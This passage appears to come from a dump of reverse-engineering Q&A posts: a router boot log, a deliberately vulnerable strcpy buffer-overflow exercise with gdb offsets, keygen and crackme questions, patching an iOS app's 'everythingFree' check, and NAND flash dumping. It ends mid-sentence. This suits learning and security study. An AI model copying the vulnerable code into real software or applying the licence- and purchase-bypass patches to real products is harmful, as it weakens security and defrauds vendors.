+            MT7621   stage1 code Mar 12 2015 14:43:30 (ASIC)
+
+            CPU=500000000 HZ BUS=166666666 HZ
+
+==================================================================
+
+Change MPLL source from XTAL to CR...
+
+do MEMPLL setting..
+
+MEMPLL Config : 0x11000000
+
+3PLL mode + External loopback
+
+=== XTAL-40Mhz === DDR-1200Mhz ===
+
+PLL2 FB_DL: 0x6, 1/0 = 584/440 19000000
+
+PLL3 FB_DL: 0xf, 1/0 = 577/447 3D000000
+
+PLL4 FB_DL: 0x14, 1/0 = 589/435 51000000
+
+do DDR setting..[01F40000]
+
+Apply DDR3 Setting...(use default AC)
+
+          0    8   16   24   32   40   48   56   64   72   80   88   96  104  112  120
+
+      --------------------------------------------------------------------------------
+
+0000:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0001:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0002:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0003:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0004:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0005:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0006:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0007:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0008:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0009:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+000A:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+000B:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+000C:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+000D:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    1
+
+000E:|    0    0    0    0    0    0    0    0    0    1    1    1    1    1    1    1
+
+000F:|    0    0    0    0    1    1    1    1    1    1    1    1    1    1    0    0
+
+0010:|    1    1    1    1    1    1    1    1    1    0    0    0    0    0    0    0
+
+0011:|    1    1    1    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0012:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0013:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0014:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0015:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0016:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0017:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0018:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+0019:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+001A:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+001B:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+001C:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+001D:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+001E:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+001F:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0
+
+DRAMC_DQSCTL1[0e0]=13000000
+
+DRAMC_DQSGCTL[124]=80000033
+
+rank 0 coarse = 15
+
+rank 0 fine = 72
+
+B:|    0    0    0    0    0    0    0    0    0    0    1    1    1    0    0    0
+
+opt_dle value:11
+
+DRAMC_DDR2CTL[07c]=C287223D
+
+DRAMC_PADCTL4[0e4]=000022B3
+
+DRAMC_DQIDLY1[210]=0C0B070B
+
+DRAMC_DQIDLY2[214]=07090909
+
+DRAMC_DQIDLY3[218]=0D0A0909
+
+DRAMC_DQIDLY4[21c]=0B080C0A
+
+DRAMC_R0DELDLY[018]=0000211F
+
+==================================================================
+
+        RX  DQS perbit delay software calibration 
+
+==================================================================
+
+1.0-15 bit dq delay value
+
+==================================================================
+
+bit|     0  1  2  3  4  5  6  7  8  9
+
+--------------------------------------
+
+0 |    11 7 11 11 9 9 9 7 7 7 
+
+10 |    8 9 9 11 7 11 
+
+--------------------------------------
+
+
+
+
+==================================================================
+
+2.dqs window
+
+x=pass dqs delay value (min~max)center 
+
+y=0-7bit DQ of every group
+
+input delay:DQS0 =31 DQS1 = 33
+
+==================================================================
+
+bit DQS0     bit      DQS1
+
+0  (1~62)31  8  (1~62)31
+
+1  (1~62)31  9  (1~62)31
+
+2  (1~62)31  10  (1~62)31
+
+3  (1~59)30  11  (0~58)29
+
+4  (1~62)31  12  (1~63)32
+
+5  (1~62)31  13  (1~64)32
+
+6  (1~62)31  14  (0~65)32
+
+7  (1~62)31  15  (2~64)33
+
+==================================================================
+
+3.dq delay value last
+
+==================================================================
+
+bit|    0  1  2  3  4  5  6  7  8   9
+
+--------------------------------------
+
+0 |    11 7 11 12 9 9 9 7 9 9 
+
+10 |    10 13 10 12 8 11 
+
+==================================================================
+
+==================================================================
+
+     TX  perbyte calibration 
+
+==================================================================
+
+DQS loop = 15, cmp_err_1 = ffff0000 
+
+dqs_perbyte_dly.last_dqsdly_pass[0]=15,  finish count=1 
+
+dqs_perbyte_dly.last_dqsdly_pass[1]=15,  finish count=2 
+
+DQ loop=15, cmp_err_1 = ffff0000
+
+dqs_perbyte_dly.last_dqdly_pass[0]=15,  finish count=1 
+
+dqs_perbyte_dly.last_dqdly_pass[1]=15,  finish count=2 
+
+byte:0, (DQS,DQ)=(8,8)
+
+byte:1, (DQS,DQ)=(8,8)
+
+DRAMC_DQODLY1[200]=88888888
+
+DRAMC_DQODLY2[204]=88888888
+
+20,data:88
+
+[EMI] DRAMC calibration passed
+
+
+
+
+===================================================================
+
+            MT7621   stage1 code done 
+
+            CPU=500000000 HZ BUS=166666666 HZ
+
+===================================================================
+
+
+
+U-Boot 1.1.3 (Oct 20 2016 - 14:48:59)
+
+
+Board: Ralink APSoC DRAM:  128 MB
+
+relocate_code Pointer at: 87fb8000
+
+
+Config XHCI 40M PLL 
+
+******************************
+
+Software System Reset Occurred
+
+******************************
+
+flash manufacture id: c2, device id 20 19
+
+find flash: MX25L25635E
+
+*** Warning - bad CRC, using default environment
+
+
+============================================ 
+
+Ralink UBoot Version: 4.3.0.0
+
+-------------------------------------------- 
+
+ASIC MT7621A DualCore (MAC to MT7530 Mode)
+
+DRAM_CONF_FROM: Auto-Detection 
+
+DRAM_TYPE: DDR3 
+
+DRAM bus: 16 bit
+
+Xtal Mode=5 OCP Ratio=1/3
+
+Flash component: SPI Flash
+
+Date:Oct 20 2016  Time:14:48:59
+
+============================================ 
+
+icache: sets:256, ways:4, linesz:32 ,total:32768
+
+dcache: sets:256, ways:4, linesz:32 ,total:32768 
+
+
+ ##### The CPU freq = 880 MHZ #### 
+
+ estimate memory size =128 Mbytes
+
+#Reset_MT7530
+
+
+Please choose the operation: 
+
+   1: Load system code to SDRAM via TFTP. 
+
+   2: Load system code then write to Flash via TFTP. 
+
+   3: Boot system code via Flash (default).
+
+   4: Entr boot command line interface.
+
+   7: Load Boot Loader code then write to Flash via Serial. 
+
+   9: Load Boot Loader code then write to Flash via TFTP. 
+
+ 4  3  2  1  0 
+
+
+
+3: System Boot system code via Flash[1st image].
+
+## Booting image at bc050000 ...
+
+Skip checking image magic number
+
+   Image Name:   
+
+   Image Type:   MIPS Linux Kernel Image (lzma compressed)
+
+   Data Size:    9748152 Bytes =  9.3 MB
+
+   Load Address: 80001000
+
+   Entry Point:  8000d210
+
+   Verifying Checksum ... OK
+
+   Uncompressing Kernel Image ... OK
+
+No initrd
+
+## Transferring control to Linux (at address 8000d210) ...
+
+## Giving linux memsize in MB, 128
+
+
+Starting kernel ...
+
+
+
+
+LINUX started...
+
+ THIS IS ASIC
+Linux version 2.6.36 (root@pesi-xian) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 SMP PREEMPT Thu Dec 15 16:55:50 CST 2016
+
+ The CPU feqenuce set to 880 MHz
+GCMP present
+CPU revision is: 0001992f (MIPS 1004Kc)
+Software DMA cache coherency
+Determined physical RAM map:
+ memory: 08000000 @ 00000000 (usable)
+Initrd not found or empty - disabling initrd
+Zone PFN ranges:
+  Normal   0x00000000 -> 0x00008000
+Movable zone start PFN for each node
+early_node_map[1] active PFN ranges
+    0: 0x00000000 -> 0x00008000
+Detected 3 available secondary CPU(s)
+PERCPU: Embedded 7 pages/cpu @81103000 s7424 r8192 d13056 u65536
+pcpu-alloc: s7424 r8192 d13056 u65536 alloc=16*4096
+pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 32512
+Kernel command line: console=ttyS1,57600n8 root=/dev/ram0 console=ttyS1,57600 root=/dev/ram0 rootfstype=squashfs,jffs2 isolcpus=1
+PID hash table entries: 512 (order: -1, 2048 bytes)
+Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
+Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
+Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.
+Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
+MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
+Writing ErrCtl register=00008001
+Readback ErrCtl register=00008001
+Memory: 115720k/131072k available (4558k kernel code, 15352k reserved, 1583k data, 7568k init, 0k highmem)
+Hierarchical RCU implementation.
+    Verbose stalled-CPUs detection is disabled.
+NR_IRQS:128
+Trying to install interrupt handler for IRQ24
+Trying to install interrupt handler for IRQ25
+Trying to install interrupt handler for IRQ22
+Trying to install interrupt handler for IRQ9
+Trying to install interrupt handler for IRQ10
+Trying to install interrupt handler for IRQ11
+Trying to install interrupt handler for IRQ12
+Trying to install interrupt handler for IRQ13
+Trying to install interrupt handler for IRQ14
+Trying to install interrupt handler for IRQ16
+Trying to install interrupt handler for IRQ17
+Trying to install interrupt handler for IRQ18
+Trying to install interrupt handler for IRQ19
+Trying to install interrupt handler for IRQ20
+Trying to install interrupt handler for IRQ21
+Trying to install interrupt handler for IRQ23
+Trying to install interrupt handler for IRQ26
+Trying to install interrupt handler for IRQ27
+Trying to install interrupt handler for IRQ28
+Trying to install interrupt handler for IRQ15
+Trying to install interrupt handler for IRQ8
+Trying to install interrupt handler for IRQ29
+Trying to install interrupt handler for IRQ30
+Trying to install interrupt handler for IRQ31
+console [ttyS1] enabled
+Calibrating delay loop... 577.53 BogoMIPS (lpj=1155072)
+pid_max: default: 32768 minimum: 301
+Mount-cache hash table entries: 512
+launch: starting cpu1
+launch: cpu1 gone!
+CPU revision is: 0001992f (MIPS 1004Kc)
+Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.
+Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
+MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
+launch: starting cpu2
+launch: cpu2 gone!
+CPU revision is: 0001992f (MIPS 1004Kc)
+Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.
+Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
+MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
+launch: starting cpu3
+launch: cpu3 gone!
+CPU revision is: 0001992f (MIPS 1004Kc)
+Primary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.
+Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
+MIPS secondary cache 256kB, 8-way, linesize 32 bytes.
+Brought up 4 CPUs
+Synchronize counters across 4 CPUs: done.
+NET: Registered protocol family 16
+release PCIe RST: RALINK_RSTCTRL = 7000000
+PCIE PHY initialize
+***** Xtal 40MHz *****
+start MT7621 PCIe register access
+RALINK_RSTCTRL = 7000000
+RALINK_CLKCFG1 = 77ffeff8
+
+*************** MT7621 PCIe RC mode *************
+PCIE0 no card, disable it(RST&CLK)
+PCIE1 no card, disable it(RST&CLK)
+PCIE2 no card, disable it(RST&CLK)
+pcie_link status = 0x0
+RALINK_RSTCTRL= 0
+bio: create slab <bio-0> at 0
+vgaarb: loaded
+SCSI subsystem initialized
+usbcore: registered new interface driver usbfs
+usbcore: registered new interface driver hub
+usbcore: registered new device driver usb
+Switching to clocksource Ralink Systick timer
+usbcore: registered new interface driver huawei_ether
+NET: Registered protocol family 2
+IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
+TCP established hash table entries: 4096 (order: 3, 32768 bytes)
+TCP bind hash table entries: 4096 (order: 3, 32768 bytes)
+TCP: Hash tables configured (established 4096 bind 4096)
+TCP reno registered
+UDP hash table entries: 128 (order: 0, 4096 bytes)
+UDP-Lite hash table entries: 128 (order: 0, 4096 bytes)
+NET: Registered protocol family 1
+cu: Got hangup signal
+Connected.
+Connected.
+
+Disconnected.
+
+ +Do I stop boot at a certain point, by pointing a voltage or ground to the pins of the flash memory? Soldering the flash memory off the board is also an option but way too extreme for me to attempt this early on. + +Any and all help is appreciated. +" +"['disassembly', 'gdb', 'buffer-overflow', 'stack']"," Title: Why EIP is being overwritten before local buffer ends?Body: I am doing a simple buffer overflow exercise, here is the source: + + + +
//vuln.c
+#include <stdio.h>
+#include <string.h>
+
+int main(int argc, char* argv[]) {
+    char buf[256];
+    strcpy(buf,argv[1]);
+    printf(""Input:%s\n"",buf);
+    return 0;
+}
+
+ +Complied with gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609 on Ubuntu 16.04.6 (i686) like this (ASLR disabled): + +
$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
+
+ +The gdb disassembly: + + + +
Dump of assembler code for function main:
+   0x0804843b <+0>:     lea    ecx,[esp+0x4]
+   0x0804843f <+4>:     and    esp,0xfffffff0
+   0x08048442 <+7>:     push   DWORD PTR [ecx-0x4]
+   0x08048445 <+10>:    push   ebp
+   0x08048446 <+11>:    mov    ebp,esp
+   0x08048448 <+13>:    push   ecx
+   0x08048449 <+14>:    sub    esp,0x104
+   0x0804844f <+20>:    mov    eax,ecx
+   0x08048451 <+22>:    mov    eax,DWORD PTR [eax+0x4]
+   0x08048454 <+25>:    add    eax,0x4
+   0x08048457 <+28>:    mov    eax,DWORD PTR [eax]
+   0x08048459 <+30>:    sub    esp,0x8
+   0x0804845c <+33>:    push   eax
+   0x0804845d <+34>:    lea    eax,[ebp-0x108]
+   0x08048463 <+40>:    push   eax
+   0x08048464 <+41>:    call   0x8048310 <strcpy@plt>
+   0x08048469 <+46>:    add    esp,0x10
+   0x0804846c <+49>:    sub    esp,0x8
+   0x0804846f <+52>:    lea    eax,[ebp-0x108]
+   0x08048475 <+58>:    push   eax
+   0x08048476 <+59>:    push   0x8048510
+   0x0804847b <+64>:    call   0x8048300 <printf@plt>
+   0x08048480 <+69>:    add    esp,0x10
+   0x08048483 <+72>:    mov    eax,0x0
+   0x08048488 <+77>:    mov    ecx,DWORD PTR [ebp-0x4]
+   0x0804848b <+80>:    leave
+   0x0804848c <+81>:    lea    esp,[ecx-0x4]
+   0x0804848f <+84>:    ret
+End of assembler dump.
+
+ +When I am overwriting the EIP with: + +
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
+
+ +It gives me EIP: 0x5a5a5a5a ('ZZZZ'), meaning that the offset for return address is 208. So how could that be when 256 byte buffer is allocated? How would main() stack layout look like? I thought it should be something like this: + +
|  argc
+|  argv
+|  Return address
+|  Caller's EBP       <-- EBP
+|  Alignment
+|  Local variables    <-- buf ends here
+|  ...
+|  Local variables    <-- buf starts here
+|  ...
+|  ...
+|  ...                <-- ESP
+V
+Lower addresses
+
+ +And also I quite confused why I cannot control EIP when the length of the argument string is bigger than 260. Here is what I mean. + +This is the result of running gdb-peda$ r `python -c 'print ""A""*260'` + + + +This is the result of running gdb-peda$ r `python -c 'print ""A""*261'` + + + +And this is the result of running gdb-peda$ r `python -c 'print ""A""*262'` + + + +Help is much appreciated. Thanks! +" +"['ida', 'disassembly', 'assembly']"," Title: Generating disassembly from raw Infineon Tricore 1971 binaryBody: Is IDA the best disassembler for a raw Tricore TC1791 (or similar) binary? I see there are several others floating around. + +Which programs are going to give us the most complete ASM from a raw binary? We can get mostly what we need, but if there are better tools I will give them a go. +" +"['decompilation', 'idapython', 'hexrays']"," Title: How Can I Clean Up After IDA Decompation with IDAPython or other resourceBody: When I am working on a source code recovery project I am usually left with a lot of code that needs to be manually cleaned up by hand. This can take a lot of time and as projects get larger , I am looking for a way to accomplish this quicker. + +EXAMPLE Code before cleanup + +
int __cdecl main(int argc, const char **argv, const char **envp)
+{
+  __int64 v3; // rax
+  __int64 v4; // r8
+  __int64 v5; // rax
+  __int64 v6; // r8
+  __int64 v7; // rax
+  __int64 v8; // r8
+  __int64 v9; // rax
+  __int64 v10; // r8
+  __int64 v11; // rax
+  __int64 v12; // r8
+  __int64 v13; // rax
+  __int64 v14; // r8
+  __int64 v15; // rax
+  __int64 v16; // rax
+  Books books; // [rsp+20h] [rbp-E8h]
+
+  strcpy(books.title, ""Learn C++ Programming"");
+  strcpy(books.author, ""Chand Miyan"");
+  strcpy(books.subject, ""C++ Programming"");
+  LODWORD(books.id) = 6495407;
+  v3 = sub_1400011D0(std::cout, ""Book 1 title : "", envp);
+  v5 = sub_1400011D0(v3, &books, v4);
+  std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, sub_1400013A0);
+  v7 = sub_1400011D0(std::cout, ""Book 1 author : "", v6);
+  v9 = sub_1400011D0(v7, books.author, v8);
+  std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, sub_1400013A0);
+  v11 = sub_1400011D0(std::cout, ""Book 1 subject : "", v10);
+  v13 = sub_1400011D0(v11, books.subject, v12);
+  std::basic_ostream<char,std::char_traits<char>>::operator<<(v13, sub_1400013A0);
+  v15 = sub_1400011D0(std::cout, ""Book 1 id : "", v14);
+  v16 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v15, LODWORD(books.id));
+  std::basic_ostream<char,std::char_traits<char>>::operator<<(v16, sub_1400013A0);
+  return 0;
+}
+
+ +Looking at the code we can see that std::cout is simply printing the variables . but this code while it makes sense to us humans should be cleaned up more before it becomes useful. + +This is AFTER my clean up. By hand... + +
typedef struct Books {
+    char title[44];
+    char author[56];         
+    char subject[100];       
+    int id;
+
+} books;
+
+
+
+int main(){
+
+    __int64 v3; // rax
+    __int64 v4; // r8
+    __int64 v5; // rax
+
+    Books books; // [rsp+20h] [rbp-E8h]
+
+
+    strcpy(books.title, ""Learn C++ Programming"");
+    strcpy(books.author, ""Chand Miyan"");
+    strcpy(books.subject, ""C++ Programming"");
+    LODWORD(books.id) = 6495407;
+
+
+    std::cout << ""Book 1 title   : "" << &books.title << std::endl;
+    std::cout << ""Book 1 author  : "" << &books.author << std::endl;
+    std::cout << ""Book 1 subject : "" << books.subject << std::endl;
+    std::cout << ""Book 1 id : ""      << LODWORD(books.id) << std::endl;
+
+    return 0;
+}
+
+ +The answer doesn't have to be through IDAPython, but I think it would be a good place to start. + +So far what I have , is this and I am not sure if these is even the right step to go. + +
c=idaapi.decompile(0x0000000140001000 ) //
+for v in c.lvars:
+  print v.name
+
+ +This though, just prints off the variable names. + +How can I more automate clean up Ida produced code. +Here is a similar question to mine , but I don't think this explores the possiblity of other options or using IDAPython. + +Cleaning HexRays Output +" +"['windows', 'decryption', 'decompress']"," Title: Partially correctly decoded strings from pkware zip with known plaintextBody: I have a password-protected zip file, where the paths and filenames of each file are encrypted using PKWARE encryption. + +The password is known and correct, and so is the encryption algorithm. + +I also have sample plaintext, and an application (32-bit closed-source, optimized, no debug symbols) that can correctly decrypt the files. + +Below is a sample of the partially decrypted file names, alongside some fully decrypted file names. + + +Below is a sample of the fully decrypted files, generated by the closed-source program. + + + +As you can observe, for the majority of the files, the file names can be correctly decrypted. However, for a small set, I get partially decoded file names, and mojibake for the rest. + +So my question is, why is this happening and what should I do to rectify it? I am confused because I was expecting 100% rubbish if my decryption implementation was wrong. Partially correct output was not really what I expected. + +Note that each file name is independently decrypted, in other words, the decryption of the next file does not depend on the decryption of the previous file. + +The decryption implementation is more or less the same as that is described here: + +
static uint32_t keys[3];
+
+// CRC32_table is from zlib
+uint32_t compute_crc32(uint32_t crc, char c) {
+    return CRC32_table[(crc ^ c) & 0xff] ^ (crc >> 8);
+}
+
+void init_keys(const std::string& password) {
+    keys = { 0x12345678, 0x23456789, 0x34567890 };
+    for (size_t i = 0; i < password.size(); ++i)
+        key_update(keys, password[i]);
+}
+
+void update_keys(char c) {
+    keys[0] = compute_crc32(keys[0], c);
+    keys[1] = keys[1] + (keys[0] & 0xff);
+    keys[1] = (keys[1] * 0x8088405) + 1;
+    keys[2] = compute_crc32(keys[2], keys[1] >> 24);
+}
+
+char decrypt_byte() {
+    uint16_t temp = (keys[2] & 0xffff) | 2;
+    return char(((temp * (temp ^ 1))>> 8) & 0xff);
+}
+
+std::string decrypt(const std::string& password,
+                    const std::string& input) {
+    init_keys(password);
+    auto ret = std::string(input.size(), '\0');
+    for (int i = 0; i < input.size(); ++i) {
+        char c = input[i] ^ decrypt_byte();
+        update_keys(c);
+        ret[i] = c;
+    }
+    return ret;
+}
+
+ +Note that the files are still correctly decrypted and unzipped, it is only the file names that are scrambled. +" +['hash-functions']," Title: cracking SHA256 if you think you know its original value but don't know which is itBody: I have a hash and what I think is its original value + +
DRMSoftwareRadio-MERLIN-00000218
+20030130
+Frank Garnier
+Frank.Garnier@rnw.nl
+Witte Kruislaan 55
+Hilversum
+1217AM
+Netherlands
+a9ba81b656e632dfdeaa2889c7a1be385cf8d351e194dedb1813a00b7d7c2c55
+99b9e76825dc15ca02319b9ac513e84e48a38364c218918403c224bc4ff57e48
+fde9381908812fb42badd491f87f7517c66cdfd6dabad086fb4ed21448123e8e
+92a8c2ae5a1e245283cc1ac66b3e0f9f2e855993fe082a5a5949cfdb4e2e78ea
+5b996cbd1bfe938c28ab4b5d0273322d47ccf4c526756184175cc35ec9be6e25
+5c909807d11e6b59bff2599347f7b09b49de6e46d8c1561cec06435b5787bd3f
+fbefca813967061dad73f65918169a039d3d41fa315ba1f04d50276de58f8c17
+9e80a9323c238c6359f7cbb95d1a18edaab116e9178a6c88a000179dac5c41d2
+
+ +I know this hash is some of this values above +and think that 20030130 should belong to99b9e76825dc15ca02319b9ac513e84e48a38364c218918403c224bc4ff57e48 + +so how can I figure out if 20030130 (because there are only numbers and its short) belongs to any of this hashes and possibly hash it in such a way I get one of this hashes for it + +Thanks for Anwsering and Best Regards +" +"['ida', 'windows', 'ollydbg', 'x64dbg']"," Title: Getting started with RE, with eventually goal being able to make a keygenBody: I want to get started in RE and eventually want to be able to figure out how to calculate a serial from a username/license number from program number, etc... (meaning the software tests the serial entered vs an algorithm-generated key resulting from another number or username that is entered). + +
    +
  1. What is the best software for this? I feel I am most comfortable with x64dbg, but I heard IDA is better and OllyDbg seems to be the popular choice out there. What should I start with? Is x64dbg a ""fully-featured"" solution that will have everything I need?
  2. +
  3. What is a good crackme (that comes with a walkthrough/solution) for just this sort of situation?
  4. +
+" +"['c++', 'crackme']"," Title: Figuring out correct user input key from final key + generated bufferBody: I've recently gotten into reversing crackmes, and I seem to always fail at the ones similar to this. + +The final key that the program uses for comparison is not the key that should be used as input, the key used as input is used in an algorithm with another set of data to check if it generates the final key. +Here is the code so it makes a bit more sense. + +
signed __int64 __fastcall ValidateSerials(unsigned int *generatedData, unsigned int *finalCorrectSerial, unsigned int *UserInputSerial)
+{
+  signed int i; // [rsp+0h] [rbp-18h]
+  signed int j; // [rsp+4h] [rbp-14h]
+  signed int currentUserInputsr; // [rsp+8h] [rbp-10h]
+  int v7; // [rsp+Ch] [rbp-Ch]
+
+  for ( i = 0; i < 4; ++i )
+  {
+    v7 = 0;
+    currentUserInputsr = UserInputSerial[i];
+    for ( j = 6; j >= 0; --j )
+    {
+      v7 += generatedData[j] * (currentUserInputsr & 1);
+      currentUserInputsr >>= 1;
+    }
+    if ( v7 != finalCorrectSerial[i] )
+      return 0i64;
+  }
+  return 1i64;
+}
+
+ +if I know generatedData and finalCorrectSerial, how can I generate the correct UserInputSerial? I've tried to reverse the entire functions logic but I always get it wrong. I'm fairly new into solving keygens such as this but not reverse engineering in general. + +Thanks +" +"['windows', 'pe']"," Title: What does BindImageEx actually do?Body: Docs. +If I understand this correctly, this function pre-computes virtual addresses of imported DLLs and writes them to the IAT of an image (provided that BIND_NO_UPDATE is not set as parameter). My understanding is that you do this to an image (on file) to make it start faster. + + +" +"['windows', 'pe']"," Title: PE Header: What do SizeOfHeapCommit and SizeOfHeapReserve do?Body: SizeOfHeapReserve and SizeOfHeapCommit are in the optional header of windows executables. They are set to 0x100000 and 0x1000 respectively in most executables (my firefox has 0x40000 as reserve for example). The docs just say it is ""The size of the local heap space to reserve/commit"". + + +" +['exe']," Title: Force a firmware updater to flash any drive modelBody: For a self-learning project, I want to patch an exe file. + +I have a firmware updater (exe file) that updates a 20-year old DVD drive (Matsushita model SW-9586-T). +I own a commercial version of the drive (SW-9586-C) and the software updater does not update it. + +I want to patch the exe file to force the flashing of any drive, but I don't know where to start. + +Is decompiling > Modifying > Recompiling the firmware updater a good or bad idea ? +" +['firmware-analysis']," Title: Firewire film scannerBody: There is firewire photo film scanner Konica-minolta (scanner part of the minilab) that is standard mashine vision firewire linescan camera, connected to controler that deal with motor film fee, light, switches and buttons. Mostly controler is transparent to the camera commands and intercept only controler commands. As usually there are no any documentation - its 10+ years old (somewhere from 2006). + Question is how to reverse engineer commands sent from crappy windows xp software to the scanner? How to distinguish camera commands from controler commands? I dont know the camera model and cant imagine how to get it, may be by some command? I suppose that the camera support one of the standards for mashine vision, but which one? I tried to search for free or affordable firewire debbuging solutions, but no success. How to distinguish firewire commands (to/from scanner) from big data (ie image sent from scanner data's)? +Final goal is to make linux standalone driver. Hope to have only useful answers. +" +"['ida', 'assembly', 'ios']"," Title: Using IDA Pro, How can I just ""edit"" values, Rather than patching Offsets,Body: I dont understand how people are finding offsets, So I want to know if there's a simple and easy method of just "patching values" +I've been surfing the internet looking for VERY in depth tutorials on editing Assembly for ios apps, but it seems that either the tutorials are too difficult and vague, or are broken and old. +for example, how can I patch this function so it returns true rather than false: +
; bool __cdecl -[ScrollingListTradePortal everythingFree](ScrollingListTradePortal *self, SEL)
+__ScrollingListTradePortal_everythingFree_
+ADRP            X8, #_OBJC_IVAR_$_ScrollingListTradePortal.everythingFree@PAGE ; bool everythingFree;
+LDRSW           X8, [X8,#_OBJC_IVAR_$_ScrollingListTradePortal.everythingFree@PAGEOFF] ; bool everythingFree;
+LDRB            W8, [X0,X8]
+AND             W0, W8, #1
+RET
+; End of function -[ScrollingListTradePortal everythingFree]
+
+" +['radare2']," Title: How i can do several input via rarun2?Body: How can i do several input via rarun2, if my program requares two input? + + +I try this: + + +" +"['ida', 'android', 'arm']"," Title: Why does this command crash IDA Android native debugger?Body: In Android shared library that heavily protected against debugging, I found following code: + +
CODE32
+ldr pc, [pc, #-4]
+
+ +For me, this instruction looks like NOP; it just jumps to next instruction in ARM mode. The debugged process crashes on this command, however. I use IDA to debug the process. + +Can anyone explain why? +" +"['ida', 'ghidra']"," Title: Reverse Engineering GUI programsBody: I am trying to reverse a 32-bit Win32 GUI application. It was compiled using Visual C++ 6.0 and uses the Win32 API. I am trying to figure out what happens when I click any particular button in the application. The problem is, whenever I stop execution using a debugger (x32dbg) execution is in a Win32 DLL file, not in an application function. + +Any suggestions on how to tackle this? How do I determine what happens when I click any particular button? + +Thank you +" +"['ida', 'c++', 'function-hooking']"," Title: Patching JNZ (two byte opcode) into JMP near (one byte opcode)?Body: I've been tinkering with Fallout New Vegas, and have focused on modifying a very simple record that's hardcoded in the game engine. It's called an Imagespace Modifier, which is a very basic shader that can only have a select number of variables adjusted. It can be modified in the editor, but cannot be stopped from being applied to the screen. So even with it's values set to zero, it's still being calculated by the game. + +So I decided to try and find the hardcoded function that calls the imagespace modifier. I think I've got it, but I've hit a problem. It uses a JNZ to determine whether or not to process the record, which is a two byte opcode instruction (0F 85). But JMP Near is a single opcode instruction (E9). So I can't just simply patch that word in memory and always skip past the code calling the imagespace modifier. + +What would I need to do in order to fix that, and use JMP instead of JNZ? Note, the framework I'm using to modify the process at runtime uses C++, so it needs to be doable in that language. + +Screenshot: https://i.imgur.com/NSNP04Y.png +" +"['ollydbg', 'breakpoint', 'register', 'ollyscript']"," Title: Ollydbg: How to set a conditinal breakpoint for a register gets special valueBody: I read this question about ""set conditional break point on a register value"" ; but its about setting a bp on special address! + +I want to set a bp when for example ECX == 12345678 , i can do this on specific address with this condition , but i want do this on whole module, that when any where in a module ECX is equal to 12345678 , the debugger stops the procedure. + +Is there any solution for my question? Or is there any scripts that do the same thing i told? +" +"['hardware', 'flash', 'firmware-analysis']"," Title: Dumping a NAND FlashBody: I am currently trying to dump the content of a NAND Flash that is part of an embedded system. + +The chip is a QCA4531 and the NAND Flash is a GD5F1GQ4RCYIG. The module consists of 28 Pins, 14 per side. The NAND Flash has 8 contacts, 4 per side. + +I am pretty new to this but I already did some reasearch work and I think I am not that far away anymore but the ""last"" step is giving me some headaches. + +I am a little bit limited because I can't desolder the NAND Flash so I try to get access to its content while it's still assembled. + +My idea was getting the Bus Pirate v4, connecting it to the NAND Flash and reading out the content via flashrom. I knew that flashrom has some problems with the Bus Pirate when it is used in a Virtual Machine from the DangerousPrototypes Forum but I tried it anyways and as expected it doesn't really work. So I tried to get a Windows version of 